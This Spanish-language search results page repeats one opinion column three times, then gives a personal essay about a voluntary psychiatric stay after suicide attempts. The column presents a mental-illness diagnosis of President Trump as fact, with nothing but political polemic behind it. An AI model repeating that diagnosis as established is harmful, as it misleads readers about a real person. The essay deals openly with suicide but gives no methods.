Search
1000 results for “Logical_Error”
-
Opinión | Hilda Teresita Bautista Villegas | Signos del deterioro mental del presidente Trump
Menospreciar con frases denigrantes, como decir que “le besan el trasero”, a los mismos empresarios que financiaron su llegada a la presidencia y que lo han acompañado hasta hoy, no solo es un acto de ingratitud, sino un grave error político.
Por Hilda Teresita Bautista Villegas
Imponer políticas arancelarias que afectan directamente el suministro de materias primas para muchas empresas estadounidenses es una medida absurda que debilita su propia economía.
Acusar ridículamente a la presidenta de México, de tener miedo a los cárteles por no permitir la intromisión del ejército estadounidense y defender nuestra soberanía, es una tontería sin dimensión, además de una provocación machista y torpe, totalmente desubicada e ignorante de la madurez política y psicológica que impera en nuestro país.
¿Cómo puede un “presidente” que arrebata a las escuelas el presupuesto destinado a atender los problemas emocionales de jóvenes trastornados por generaciones de culto al miedo, al bullying, al armamentismo y a la permisividad hacia las drogas, pretender resolver los conflictos de otro país?
¿Adónde está su lógica?
La hipocresía en su máxima expresión
La existencia de los carteles y sus actividades ilícitas son problemas fomentados y alimentados por el tráfico de armas y la economía negra que se mueve dentro de su propio territorio.
¿No es acaso un acto terrorista interno y externo el fomentar la infiltración de armas a grupos vulnerables, proteger el huachicoleo de combustible y desatender a su propia población hundida en el consumo de drogas?
Permitir el robo de combustible mexicano para procesarlo en Texas y venderlo de regreso a México, también es un grave delito solapado por su ineficiente gobierno.
¡Claro que merecen cárcel los delincuentes de cuello blanco que participan en esas redes de corrupción!
México hoy está encabezado por un gobierno responsable, formado por personas capacitadas que, desde el corazón y el discernimiento, están entregando su vida para reconstruir un país devastado por años y años de corrupción e indiferencia.
Claudia Sheinbaum Pardo¿Cómo se atreve entonces, un presidente pretencioso y fifi, como lo es Trump, sugerir lo que debe hacerse en nuestra tierra cuando es incapaz de ver los problemas catastróficos que están desmoronando a su propio pueblo desde hace décadas.
¡Caro que no distingue esos problemas ya que él mismo, con su inestabilidad emocional, los está generando!
El trastorno psicológico que Trump manifiesta le impide comprender que el ser humano está hecho de alma, cuerpo, cerebro y corazón. Cada una de esas dimensiones requiere atención y equilibrio. Pero su egocentrismo patológico lo encierra en una percepción materialista, carente de empatía y de todo sentido humanista.
Quitar presupuesto a la salud y la educación. Llevar a la quiebra a cientos de empresas. Expulsar del país a trabajadores mexicanos que mantienen en funcionamiento negocios clave de la economía estadounidense porque los empresarios no logran cubrir esas vacantes con ciudadanos locales a los que ¡no les gusta trabajar con las manos y como tristemente parece, tampoco con el discernimiento!
Todo esto -y mucho más-, no solo revela una profunda descomposición política, sino alarmantes signos de deterioro mental en el presidente Trump, cuyas decisiones parecen ir siempre en contra del bienestar de su propio país.
Él no parece saber responder a una lógica estratégica ni a la coherencia institucional, sino más bien a sus impulsos, miedos y delirios de poder.
¿Hasta cuándo despertará el pueblo estadounidense? ¿Cuándo descubrirán que el consumismo y la comida chatarra no son el origen de su poder personal y tampoco son el poder de su voz?
¡Ya, pronto, tienen que despertar y reconectar con su capacidad racional y humana para cambiar el rumbo de su historia!
Donald Trump¡Conéctate con Sociedad Noticias! Suscríbete a nuestro canal de YouTube y activa las notificaciones, o bien, síguenos en las redes sociales: Facebook, Twitter e Instagram.
#ClaudiasheinbaumLopezObradorFernandeznoronAMarceloEbrardOmarGarciaHarfuchFisgonMiguelTorruco #AndrésManuelLópezObrador #arancelesComercialesTrump #armasTráficoEstadosUnidos #Cdmx #derechosHumanosMéxico #dignidadNacional #discursoDeOdioTrump #DonaldTrump #estabilidadEmocionalLíderes #gobiernoMexicanoActual #huachicolCombustibleTexas #Información #InformaciónMéxico #México #migraciónMéxicoEEUU_ #Morena #noticia #noticias #NoticiasMéxico #NoticiasSociedad #políticaExteriorMéxico #políticaTóxicaTrump #relacionesMéxicoEstadosUnidos #saludMentalTrump #SN #soberaníaNacional #Sociedad #SociedadNoticias #SociedadNoticiasCom #sociedadNoticias #SociedadNoticiasCom
-
Opinión | Hilda Teresita Bautista Villegas | Signos del deterioro mental del presidente Trump
Menospreciar con frases denigrantes, como decir que “le besan el trasero”, a los mismos empresarios que financiaron su llegada a la presidencia y que lo han acompañado hasta hoy, no solo es un acto de ingratitud, sino un grave error político.
Por Hilda Teresita Bautista Villegas
Imponer políticas arancelarias que afectan directamente el suministro de materias primas para muchas empresas estadounidenses es una medida absurda que debilita su propia economía.
Acusar ridículamente a la presidenta de México, de tener miedo a los cárteles por no permitir la intromisión del ejército estadounidense y defender nuestra soberanía, es una tontería sin dimensión, además de una provocación machista y torpe, totalmente desubicada e ignorante de la madurez política y psicológica que impera en nuestro país.
¿Cómo puede un “presidente” que arrebata a las escuelas el presupuesto destinado a atender los problemas emocionales de jóvenes trastornados por generaciones de culto al miedo, al bullying, al armamentismo y a la permisividad hacia las drogas, pretender resolver los conflictos de otro país?
¿Adónde está su lógica?
La hipocresía en su máxima expresión
La existencia de los carteles y sus actividades ilícitas son problemas fomentados y alimentados por el tráfico de armas y la economía negra que se mueve dentro de su propio territorio.
¿No es acaso un acto terrorista interno y externo el fomentar la infiltración de armas a grupos vulnerables, proteger el huachicoleo de combustible y desatender a su propia población hundida en el consumo de drogas?
Permitir el robo de combustible mexicano para procesarlo en Texas y venderlo de regreso a México, también es un grave delito solapado por su ineficiente gobierno.
¡Claro que merecen cárcel los delincuentes de cuello blanco que participan en esas redes de corrupción!
México hoy está encabezado por un gobierno responsable, formado por personas capacitadas que, desde el corazón y el discernimiento, están entregando su vida para reconstruir un país devastado por años y años de corrupción e indiferencia.
Claudia Sheinbaum Pardo¿Cómo se atreve entonces, un presidente pretencioso y fifi, como lo es Trump, sugerir lo que debe hacerse en nuestra tierra cuando es incapaz de ver los problemas catastróficos que están desmoronando a su propio pueblo desde hace décadas.
¡Caro que no distingue esos problemas ya que él mismo, con su inestabilidad emocional, los está generando!
El trastorno psicológico que Trump manifiesta le impide comprender que el ser humano está hecho de alma, cuerpo, cerebro y corazón. Cada una de esas dimensiones requiere atención y equilibrio. Pero su egocentrismo patológico lo encierra en una percepción materialista, carente de empatía y de todo sentido humanista.
Quitar presupuesto a la salud y la educación. Llevar a la quiebra a cientos de empresas. Expulsar del país a trabajadores mexicanos que mantienen en funcionamiento negocios clave de la economía estadounidense porque los empresarios no logran cubrir esas vacantes con ciudadanos locales a los que ¡no les gusta trabajar con las manos y como tristemente parece, tampoco con el discernimiento!
Todo esto -y mucho más-, no solo revela una profunda descomposición política, sino alarmantes signos de deterioro mental en el presidente Trump, cuyas decisiones parecen ir siempre en contra del bienestar de su propio país.
Él no parece saber responder a una lógica estratégica ni a la coherencia institucional, sino más bien a sus impulsos, miedos y delirios de poder.
¿Hasta cuándo despertará el pueblo estadounidense? ¿Cuándo descubrirán que el consumismo y la comida chatarra no son el origen de su poder personal y tampoco son el poder de su voz?
¡Ya, pronto, tienen que despertar y reconectar con su capacidad racional y humana para cambiar el rumbo de su historia!
Donald Trump¡Conéctate con Sociedad Noticias! Suscríbete a nuestro canal de YouTube y activa las notificaciones, o bien, síguenos en las redes sociales: Facebook, Twitter e Instagram.
#ClaudiasheinbaumLopezObradorFernandeznoronAMarceloEbrardOmarGarciaHarfuchFisgonMiguelTorruco #AndrésManuelLópezObrador #arancelesComercialesTrump #armasTráficoEstadosUnidos #Cdmx #derechosHumanosMéxico #dignidadNacional #discursoDeOdioTrump #DonaldTrump #estabilidadEmocionalLíderes #gobiernoMexicanoActual #huachicolCombustibleTexas #Información #InformaciónMéxico #México #migraciónMéxicoEEUU_ #Morena #noticia #noticias #NoticiasMéxico #NoticiasSociedad #políticaExteriorMéxico #políticaTóxicaTrump #relacionesMéxicoEstadosUnidos #saludMentalTrump #SN #soberaníaNacional #Sociedad #SociedadNoticias #SociedadNoticiasCom #sociedadNoticias #SociedadNoticiasCom
-
Opinión | Hilda Teresita Bautista Villegas | Signos del deterioro mental del presidente Trump
Menospreciar con frases denigrantes, como decir que “le besan el trasero”, a los mismos empresarios que financiaron su llegada a la presidencia y que lo han acompañado hasta hoy, no solo es un acto de ingratitud, sino un grave error político.
Por Hilda Teresita Bautista Villegas
Imponer políticas arancelarias que afectan directamente el suministro de materias primas para muchas empresas estadounidenses es una medida absurda que debilita su propia economía.
Acusar ridículamente a la presidenta de México, de tener miedo a los cárteles por no permitir la intromisión del ejército estadounidense y defender nuestra soberanía, es una tontería sin dimensión, además de una provocación machista y torpe, totalmente desubicada e ignorante de la madurez política y psicológica que impera en nuestro país.
¿Cómo puede un “presidente” que arrebata a las escuelas el presupuesto destinado a atender los problemas emocionales de jóvenes trastornados por generaciones de culto al miedo, al bullying, al armamentismo y a la permisividad hacia las drogas, pretender resolver los conflictos de otro país?
¿Adónde está su lógica?
La hipocresía en su máxima expresión
La existencia de los carteles y sus actividades ilícitas son problemas fomentados y alimentados por el tráfico de armas y la economía negra que se mueve dentro de su propio territorio.
¿No es acaso un acto terrorista interno y externo el fomentar la infiltración de armas a grupos vulnerables, proteger el huachicoleo de combustible y desatender a su propia población hundida en el consumo de drogas?
Permitir el robo de combustible mexicano para procesarlo en Texas y venderlo de regreso a México, también es un grave delito solapado por su ineficiente gobierno.
¡Claro que merecen cárcel los delincuentes de cuello blanco que participan en esas redes de corrupción!
México hoy está encabezado por un gobierno responsable, formado por personas capacitadas que, desde el corazón y el discernimiento, están entregando su vida para reconstruir un país devastado por años y años de corrupción e indiferencia.
Claudia Sheinbaum Pardo¿Cómo se atreve entonces, un presidente pretencioso y fifi, como lo es Trump, sugerir lo que debe hacerse en nuestra tierra cuando es incapaz de ver los problemas catastróficos que están desmoronando a su propio pueblo desde hace décadas.
¡Caro que no distingue esos problemas ya que él mismo, con su inestabilidad emocional, los está generando!
El trastorno psicológico que Trump manifiesta le impide comprender que el ser humano está hecho de alma, cuerpo, cerebro y corazón. Cada una de esas dimensiones requiere atención y equilibrio. Pero su egocentrismo patológico lo encierra en una percepción materialista, carente de empatía y de todo sentido humanista.
Quitar presupuesto a la salud y la educación. Llevar a la quiebra a cientos de empresas. Expulsar del país a trabajadores mexicanos que mantienen en funcionamiento negocios clave de la economía estadounidense porque los empresarios no logran cubrir esas vacantes con ciudadanos locales a los que ¡no les gusta trabajar con las manos y como tristemente parece, tampoco con el discernimiento!
Todo esto -y mucho más-, no solo revela una profunda descomposición política, sino alarmantes signos de deterioro mental en el presidente Trump, cuyas decisiones parecen ir siempre en contra del bienestar de su propio país.
Él no parece saber responder a una lógica estratégica ni a la coherencia institucional, sino más bien a sus impulsos, miedos y delirios de poder.
¿Hasta cuándo despertará el pueblo estadounidense? ¿Cuándo descubrirán que el consumismo y la comida chatarra no son el origen de su poder personal y tampoco son el poder de su voz?
¡Ya, pronto, tienen que despertar y reconectar con su capacidad racional y humana para cambiar el rumbo de su historia!
Donald Trump¡Conéctate con Sociedad Noticias! Suscríbete a nuestro canal de YouTube y activa las notificaciones, o bien, síguenos en las redes sociales: Facebook, Twitter e Instagram.
#ClaudiasheinbaumLopezObradorFernandeznoronAMarceloEbrardOmarGarciaHarfuchFisgonMiguelTorruco #AndrésManuelLópezObrador #arancelesComercialesTrump #armasTráficoEstadosUnidos #Cdmx #derechosHumanosMéxico #dignidadNacional #discursoDeOdioTrump #DonaldTrump #estabilidadEmocionalLíderes #gobiernoMexicanoActual #huachicolCombustibleTexas #Información #InformaciónMéxico #México #migraciónMéxicoEEUU_ #Morena #noticia #noticias #NoticiasMéxico #NoticiasSociedad #políticaExteriorMéxico #políticaTóxicaTrump #relacionesMéxicoEstadosUnidos #saludMentalTrump #SN #soberaníaNacional #Sociedad #SociedadNoticias #SociedadNoticiasCom #sociedadNoticias #SociedadNoticiasCom
-
«Espero no volver a verte acá» — Internación, salud mental y aprendizaje
⏱️ Tiempo estimado de lectura: 28 minutos y 39 segundos.
Resumen
En cualquier otro contexto esa frase sonaría horrible. Para nosotras es más que un deseo, un anhelo. Es un símbolo de afecto, de amor, de compañerismo, de amistad, de experiencias compartidas.
Contenido
Pero mejor empezamos desde el principio: El 28 de enero decidí internarme de forma voluntaria en el área de salud mental de una clínica. La madrugada de ese día había tenido lugar mi tercer intento de suicidio. El primero y el segundo, habían ocurrido en mayo y junio de 2023 respectivamente. ¿Por qué? eso es algo que prefiero dejar para mí y personas cercanas. En fin, una semana después, me derivaron a un centro de salud integral en el que pasé un mes internada. Estas son mis experiencias y reflexiones.- Introducción
- El tabú del que todos hablan pero nadie entiende
- La cura que no existe
- El internado
- Estigmatización por defecto
- Desconexión total
- Terapia y tratamiento integral
- Nosotras y nosotres
- Una microsociedad sin acceso a internet
- Nuestras propias terapias grupales
- Ella es inocente aunque se demuestre lo contrario
- Hermanas de otras vidas
- Conclusiones finales
- Mimoterapia
- Aprendizajes
- Si llegaste hasta acá
- Gracias
Introducción
Nota: si sos un amigue/a y/o persona cercana y te estás enterando de esto ahora, porfa no te enojes. Mi mamá era la encargada de mi contacto con el exterior y no me pareció correcto que la atosiguen con mensajes o llamadas. El mismo era restringido como explico más abajo, y preocupar a tanta gente cuando en realidad no hubiese nada que pudieran hacer directamente, no me parecía correcto ni justo. Fue una decisión consciente que tomé incluso antes de ingresar allí. Habiendo aclarado esto, ahora sí, comencemos:
El tabú del que todos hablan pero nadie entiende
Hay un día de la prevención del suicidio, de la depresión, de la salud mental. Grandes corporaciones, empresas e instituciones de todo tipo hablan del tema. Incluso personas particulares tienen una opinión formada al respecto. Sin embargo, esto no sirve de nada si no se le da el enfoque que se merece.
Razones por las que una persona no debería suicidarse:
- Porque sos joven.
- Porque ya sos demasiado grande.
- Porque estás en la mitad de tu vida.
- Porque tenés toda una vida por delante.
- Porque tenés hijos.
- Porque tenés nietos.
- Porque tenés perros, gatos, tortugas, conejos.
- Porque tenés psicólogo y psiquiatra.
- Porque te falta Dios.
- Porque tenés trabajo, salud, algo de dinero, pareja, amor y/o el afecto de las personas que te quieren.
- Porque hay gente con problemas más graves.
- Porque siempre tenés que estar feliz y con una actitud positiva ante la vida.
- Porque te falta espiritualidad; sí, esto incluye a Dios, pero puede ser de amplio espectro: constelaciones familiares, bio descodificación, astrología, manifestar todo lo que querés lograr en tu vida para que se cumpla, el libro de autoayuda de tal o cual autor, creer en todo pero no estar segura de nada, no creer en nada pero creer que sabés la verdad de todo.
- Inserte aquí todas las otras razones que se le ocurran. Es un chiste, claro. Pero pueden dejarlas en comentarios.
Lo realmente importante no son las razones que una persona tenga para no deprimirse, hacerse daño o suicidarse. Lo importante es intentar que la persona aprenda a reconocer qué factores la llevaron a esos estados, y poder trabajar sobre ellos. Ya sea con medicación, con un tratamiento integral, con ambas, o con otras herramientas que le permitan aprender de sí misma y del resto para que dichas situaciones no vuelvan a ocurrir.
La cura que no existe
Lo primero que se debe comprender es que quienes pasamos por este tipo de estados, no somos personas convencionales mentalmente. Es decir, neurotípicas. Somos personas con factores patológicos psiquiátricos que debemos convivir con tratamiento integral durante gran parte de nuestra vida. Entonces, verlo desde una perspectiva individualista no solo es un error, sino que además causa más daño a la persona, haciéndole creer que puede con todo cuando en realidad no es así.
La culpabilidad intrínseca en este tipo de comentarios y argumentos que se genera en las personas afectadas, es altamente perjudicial, agravando el cuadro muchas veces, o impidiéndole incluso a la misma expresar sus emociones por miedo a los cuestionamientos. Existen limitaciones a lo que podemos y no podemos hacer. Y si nuestro entorno y nosotras mismas no entendemos esto, es muy probable que volvamos a recaer en ese tipo de crisis. ¿Por qué? Porque mucho que les pese a los dueños del nuevo egocentrismo new age, “nadie se salva solo”. El convivir en sociedad es una conducta básica e instintiva del ser humano como especie. La meritocracia y el avance de uno por sobre el otro, fomentando la productividad extrema, el cumplimiento de objetivos por encima de lo preestablecido y la falta de limitaciones que ponemos a nuestras propias actividades y responsabilidades, destruyen el inconsciente colectivo del trabajo comunitario y solidario en conjunto.
La supuesta horizontalidad en el trabajo y las relaciones sociales, no es más que una mera narrativa reduccionista que quita el foco y minimiza lo verdaderamente relevante para las personas: el acompañamiento del otro, la empatía, la comprensión, el entendimiento. El hecho de comprender que no es necesario sentir lo que al otro le pasa para poder ayudarlo. Sino simplemente, escuchar.
En un mundo tan hiperconectado y con la respuesta inmediata a solo un click de distancia, la prioridad de la misma es mucho más relevante que su contenido. Y no es algo solo de las redes sociales y las apps de mensajería. La inteligencia artificial también utiliza esta misma premisa, contemplando que además, ésta lo hace para ser condescendiente con el usuario. Es decir, no solo te dice lo que querés escuchar, sino que lo valida. Lo relevante para estas empresas es no perder la conexión con vos. A nadie le gustaría que una IA lo contradijera. En el caso de las personas, no es tan crítico, pero no por ello menos grave. Es decir, aunque las personas sí puedan y de hecho lo hacen, contradecirte, esto no significa que por el hecho de ser un argumento en contra este sea correcto. Y cuando de salud mental se trata, por lo general la mayoría está equivocada.
La baja tolerancia a la frustración, la depresión, los intentos de suicidio y desbordes emocionales se han incrementado muchísimo en los últimos años. El uso excesivo del celular, las redes sociales, las apps de mensajería y las aplicaciones de IA, ya es un debate abierto en especialistas de salud mental de todo el mundo. Es más, como se sabe, muchos países han tomado medidas al respecto, que como siempre ocurre en el caso de la política y los gobiernos, llegan tarde. La crisis está, y ya existe. ¿Qué podemos hacer para reparar a generaciones enteras dañadas psicológica y psiquiátricamente por empresas que ganan dinero con suscripciones, publicidad invasiva, el bombardeo constante de información, desinformación y contenido multimedia y demás? Desafortunadamente, no tengo una respuesta que deje contentos al diablo y a Dios.
El internado
Estigmatización por defecto
No sé si hace falta aclararlo antes de empezar. Pero la estigmatización que sufrimos quienes entramos en este tipo de centros, y los mismos en sí, es por demás preocupante e incluso infundada. Llamalo como quieras: manicomio, hospital psiquiátrico, hospital frenopático, centro de salud integral. No me interesa. Todos creen saber de antemano qué significa y a qué tipo de personas hace referencia. Rosalía en su canción Sakura dice: «Nunca me ha dado miedo la risa de un loco. Más miedo me da el que miente o el que ríe poco». Y quizás sea la forma más sencilla que tengo en estos momentos de explicarles lo que realmente importa de estos lugares. Cierto es que en ocasiones nos comparábamos con las presas de una cárcel, y hacíamos referencias a la canción de María Becerra en la serie «En el barro». Pero la realidad, no se parece ni por lejos a esa. Y esto quiero que quede claro desde el principio.
Desconexión total
Lo primero a destacar es que se me quitó el acceso a mi teléfono celular y a cualquier dispositivo con capacidad de conectarse a internet durante el tiempo que duró mi estadía allí. Al principio estuve en un box sin TV y con el transporte público pasando a toda hora por la avenida, ya que la ventana daba a la calle. Cuando me cambiaron a una habitación con otra compañera, sí podíamos ver la tele. Teníamos internet, pero estaba restringido a las apps que el codificador tenía por defecto, y no andaba muy bien que digamos. Es decir, que si no se tildaba, podíamos ver YouTube. Sin embargo, sí podíamos ver canales de cable. En cuanto a eso, mi compañera de cuarto miraba el canal de las novelas, así que para mí era suficiente.
Nuestro contacto con el exterior eran personas restringidas a las que podíamos llamar o que podían ir a visitarnos, pero que para ir debían sacar turno y ser aprobadas por mi equipo tratante, es decir, mi psicóloga y mi psiquiatra. El teléfono de línea tenía horarios limitados para recibir y hacer llamadas, y debíamos usarlo todas en ese horario.
Había dos sectores delimitados virtualmente, aunque eso no fue limitación para que ocasionalmente rompiéramos las reglas. En uno estaban las personas en observación. En el otro, las personas más estables. Cada sector tenía su propio office de enfermería y su propio teléfono. Pero además, el mismo teléfono era usado por las propias enfermeras para manejar asuntos relacionados con las pacientes: si nos llevaban ropa, elementos de higiene y demás.
Quienes venían a vernos, no podían subir a los sectores de las pacientes, sino que éramos nosotras quienes bajábamos a planta baja con una enfermera o un coordinador, y nos hacían pasar a una especie de patio en el que estábamos con la visita por el lapso de una hora aproximadamente, o a un consultorio si dicho patio estaba lleno.
Otro detalle: cualquier elemento que nos trajeran debía pasar la revisión de enfermería. Si se consideraba potencialmente peligroso para una misma o para terceras, no se habilitaba si no era necesario y era devuelto a la familia; y si era necesario, quedaba en enfermería cuando la paciente lo solicitara, pero con un uso limitado y vigilancia cada cierto tiempo para que no ocurriera nada grave. Ejemplo: una maquinita de depilar. Si en una hora no la devolvíamos, iban a ver cómo estábamos.
Terapia y tratamiento integral
No se trataba solo de darnos medicación. Teníamos horarios predefinidos para desayuno, almuerzo, merienda y cena. Teníamos un equipo tratante por cada una que consistía en un psicólogo o psicóloga y un o una psiquiatra que nos veían dos veces por semana. Un equipo de enfermeras, que iban alternando en guardias de ocho horas, con otras definidas para fines de semana y feriados.
Ah, quizás para varias personas resulte un detalle, pero claro está que los sectores estaban divididos por género. Las mujeres estábamos por un lado y los hombres por otro. No había contacto directo entre ambos, y no se suponía que lo hubiera. De hecho, los esporádicos contactos que hubo, fueron detectados por operadores, acompañantes terapéuticos, coordinadores y enfermeros.
Este grupo de contención, además, se encargaba de gestionar las cuatro bajadas al parque que teníamos por día. Para muchas era una razón para ir a fumar. Para quienes no fumábamos, charlar, escuchar música, tomar mate, o simplemente tomar sol y un poco de aire.
Entre las actividades predefinidas por el centro estaban: sesión de manicuría el sábado a la mañana a cargo de una de las operadoras, terapia grupal (con la que no me llevé muy bien con el moderador), asamblea de convivencia, que casi ni tuvimos porque el moderador estaba de licencia, arteterapia, musicoterapia (mis favoritas) y yoga y gimnasia, mis menos favoritas en ese orden XD. Yoga me gustaba, pero requería mucho trabajo físico al que no estaba acostumbrada. Igual gimnasia. El profe era muy exigente para mi gusto, pero estas son opiniones, no datos jajaj.
Musicoterapia fue la más interesante y la que más me permitía explayarme, en la que más salía a relucir mi creatividad y mi, quizás mi no tan bueno, pero sí suficiente talento para la música. Conocí y vi de primera mano instrumentos muy interesantes. Me gustaría encontrar actividades similares ahora que estoy afuera. Pero claro, eso con el paso del tiempo.
He de destacar a nivel personal también, que por mi condición de celiaquía me daban almuerzo y cena de Sintaxis, todo con postre incluido, por lo que la comida se transformó en un lujo, privilegio o derecho al que pocas veces tuve acceso, y por el que estoy muy agradecida. Claro que el postre estaba incluido en sí para todas. De hecho, a veces nos daban frutas en cualquiera de las cuatro comidas, lo que también era bueno. Excepto el mate, no había ninguna otra bebida permitida potencialmente perjudicial para la medicación y el tratamiento, como por ejemplo, las gaseosas y el café. Me parece lógico, pero no significa que no extrañara el segundo durante los primeros días. Por último en esta sección, la diferencia de horario entre la merienda y la cena nos resultaba a todas demasiado corta, pero las reglas eran así, y había que cumplirlas a rajatabla.
Nosotras y nosotres
No sé bien por dónde empezar a escribir esta parte. Hay tanto que decir que tengo cierto temor de omitir algo. Sin embargo, aún así decido intentarlo, ya que es para mí la parte principal de todo este artículo.
Una microsociedad sin acceso a internet
El hecho de que ninguna tuviese conexión con el mundo exterior ni acceso a redes sociales, fomentaba nuestra capacidad de buscar elementos que nos ayudaran a pasar el día. Me dejaron entrar un parlante Bluetooth chiquito con un cargador portátil y un pen drive USB, con el que pasaba los dos últimos discos de Rosalía de forma constante y hasta casi obsesiva. También nos hicimos fans de una radio de Jazz que está disponible en TuneIn también.
Jugábamos a las cartas con mis cartas en braille, jugaban al uno, al tutifruti, y hasta a la generala con unos dados de una compañera. Los juegos, el mate, y hasta las sesiones personales de maquillaje y peinado se compartían en pequeños pero significativos grupos que se iban formando. Claro está que en última instancia todas teníamos contacto entre sí, y aunque algunas mujeres con patologías más complejas para relacionarse tuviesen sus dificultades adicionales, esto no significaba que no hubiese alguna dispuesta a darle su apoyo de una forma u otra.
Nuestras propias terapias grupales
Estábamos allí cada una por patologías diferentes. Unas se iban, otras volvían, otras se quedaban. Pero había cosas en común que en la mayoría de los casos habíamos compartido: depresión, autolesiones, intentos de suicidio. ¿Qué feo hablar de eso, no? ¿Cómo hacés para hablarle sobre esos temas a una criatura de 18 años o a una señora de 70? Quizás no haga falta. Quizás quien tenga que entenderlo seas vos.
Porque no importaba la patología. Estábamos ahí porque no habíamos podido con nuestra realidad. Porque nos había sobrepasado. E intentar suicidarse no es querer morir. Es querer dejar de sufrir. Es al fin deshacerse de aquello que no podemos manejar sobre nuestro entorno, pero por sobre todas las cosas, sobre nosotras mismas. De ahí lo de las razones que expuse al principio.
A todas nos habían dicho las mismas cosas. Sin importar nuestra edad, nuestras experiencias de vida, nuestras patologías, nuestras realidades, nuestra condición social, o incluso en la sección especial de Narcóticos Anónimos que había, y que olvidé mencionar más arriba, se hablaba de esto también. La sociedad, como en muchos de los casos en los que me ha tocado presenciar por mis múltiples condiciones, primero discrimina, juzga, prejuzga, habla, opina, critica, acusa, minimiza y daña antes de empatizar, entender, escuchar, comprender, y si no se puede, abrazar y contener.
La mimoterapia era la más aplicada entre nosotras mismas. Cuando no sabés qué decir o qué hacer, a veces simplemente escuchar, abrazar, contener y quedarte callada, es mejor que cualquier palabra dicha. Contuve varias veces aunque no me correspondía. Me contuvieron varias veces aunque no les correspondía. Buscamos ayuda y la exigimos cuando la necesitábamos. Desafiamos a la autoridad, cuando detectábamos injusticias que sabíamos que con un poco de buena voluntad se podían solucionar. No siempre teníamos éxito. No siempre lográbamos lo que queríamos. Pero intentarlo y arriesgarse siempre es mejor que no hacer nada. Oscilábamos entre lo justo, lo injusto y lo correcto. Lo correcto no siempre me parecía justo. Sé que ya lo dije, pero esto fue algo que también tuve que aprender en esta terapia.
Ella es inocente aunque se demuestre lo contrario
Habría muchas hermosas personitas a las que debería mencionar. Hacerlo con solo dos me parece terriblemente injusto. Pero quiero que entiendan que si lo hiciera con todas, la gente no tendría ni ganas de leer esto. Así que vamos con la primera: tiene 18 añitos. No sé el porqué. Va, en realidad sí. La otra personita especial y mi psicóloga tratante me lo dijeron. Fue por mi sobre empatía. La idea de querer ayudar a todo el mundo sin importar si me estaba ayudando a mí misma con eso o no.
Ella tenía su equipo, su mamá, a su familia, y otras compañeras con las que contar. Pero la adopté como hijita postiza. Su patología era compleja y casi que desconocida para mí. No sabía muy bien qué estaba haciendo cuando empecé a protegerla de todo mal, y luego de todo bien XD, pero lo hice. Una de las cosas que tuve que entender es: “Kathy, no podés controlarlo todo”. Sin embargo, la escuché. Escuché lo que le pasaba, lo que necesitaba, y la ayudé como pude, haciendo conscientes a las demás de qué debíamos hacer para acompañarla.
Poco a poco empezó a mimetizarse conmigo, y no estando ya mi “Smithers” porque le habían dado el alta, pude entregarme a mi crapulencia.
Vamos, que no hice demasiado che. Además de quererla mucho, brindarle mi apoyo, mi contención, defenderla de cualquier cosa de la que se le acusara aunque sea verdad, creerle casi todas sus mentiras, hacer caso a su vocecita de niña inocente cuando las demás me decían que decía cosas horribles y palabrotas, y fomentar sus comentarios insidiosos y maliciosos sobre otras personas. ¿Qué tiene de malo todo eso realmente?
Lo cierto es que ella era inocente aunque se demuestre lo contrario. Y es que, al principio me resultaba una niña aparentemente ingenua a la que temía que se la pueda manipular. Poco a poco fue aprendiendo a que podía ella misma no dejar que manipulen a las que llegaron después. Y resultó mucho más inteligente y capaz de comprender al resto de lo que yo pensaba. Eso me pasa por querer prejuzgar y querer controlar todo. Mal hecho, Kathy. Sin embargo, sos una excelentísima personita, una de las grandes amigas que me traje conmigo junto con muchas otras. Te quiero muchísimo. Y espero que estés muchísimo mejor en el nuevo lugar en el que van a poder tratar ahora sí de forma correcta tu patología.
Hermanas de otras vidas
No sé por qué yo, no sé por qué ella, no sé por qué nosotras. Pero así sucedió. Más allá de todo lo que dije de la espiritualidad, las creencias actuales y toda esa parafernalia consumista y adaptada al supuesto bienestar personal, lo cierto es que aún hoy en día hay cosas a las que no les encuentro explicación lógica. Y quizás sea mejor así. “No todo lo que puede ser cuantificado cuenta, ni todo lo que cuenta puede ser cuantificado”. También dicen que “hay razones que la propia razón nunca entenderá”.
¿Cómo dos ñoñas tan parecidas y distintas entre sí se encontraron en el mismo lugar? No lo sé. Pero hubo tres cosas que nos unieron: el lugar, nuestro TDAH, y la última que decidimos no mencionar por nuestro pacto de hermanas. Logré conectar de forma impresionante con ella. Y le pasó lo mismo conmigo. Entró dos días después que yo y salió una semana antes. Sin embargo, ese tiempo juntas fue quizás uno de los más significativos de nuestras vidas.
Cuando nos poníamos a hablar de ñoñeces el resto se alejaba. Descubrí que soy una ñoña con todas las letras, que soy muy inteligente, y que muchas veces puedo resultar pedante. A veces tener una respuesta para todo no tiene sentido sin argumentos sólidos que la sostengan.
Me contuvo cuando lo necesité, la contuve cuando lo necesitó. Era la “Smithers” que no me dejaba robarle un dulce a una niña. Era la que me ponía límites cuando hacía chistes que, por lógica, nadie debería hacer en un hospital psiquiátrico, a menos que quisiera quedarse más tiempo. Era la que me decía “Katherine” cuando debía pararme el carro. Completábamos crucigramas a la velocidad de la luz.
Me estaba leyendo un libro muy hermoso sobre un personaje político que, más que un presidente, fue un militante de la vida. Libro que no pienso terminar sin que ella me lo lea. No, no. No intenten imaginar quién es dicho personaje. No es lo importante. Rompimos todas las reglas habidas y por haber. Me leía libros en mi habitación, yo iba a ver Los Simpson en la suya los sábados, y nos regalamos tesoros que valen mucho más que cualquier palabra dicha.
Nos regalamos la realidad de mostrarle a otra persona tal cual somos. Sin mentiras, con honestidad, con empatía, con respeto mutuo. Sabiendo que nada de lo que dijera una, haría enojar a la otra. Nos regalamos el arte de conocernos. La magia de estar ahí. En ese tiempo, en ese lugar. Y mientras nos preguntábamos: “¿Cuánto tiempo más llevará?”, disfrutábamos de cada momento juntas.
No, no. No se confundan. Ella no es como con otras personas especiales. No quiero ser su novia, ni me gusta de tal manera. Pero el amor que llegamos a tenernos en tan poco tiempo, trasciende las fronteras de lo que jamás había esperado que sucediera.
Y esto va para vos especialmente: no voy a negar que lloré cuando te fuiste. A pesar de lo feliz que estaba. Era como una felicidad triste, si tal cosa existe, ya que estaba segura de que era lo mejor para vos, y que íbamos a vernos afuera de todos modos. Pero lloré. Lloré como pocas veces he llorado cuando alguien se aparta de mi vida aunque sea por un tiempo tan corto.
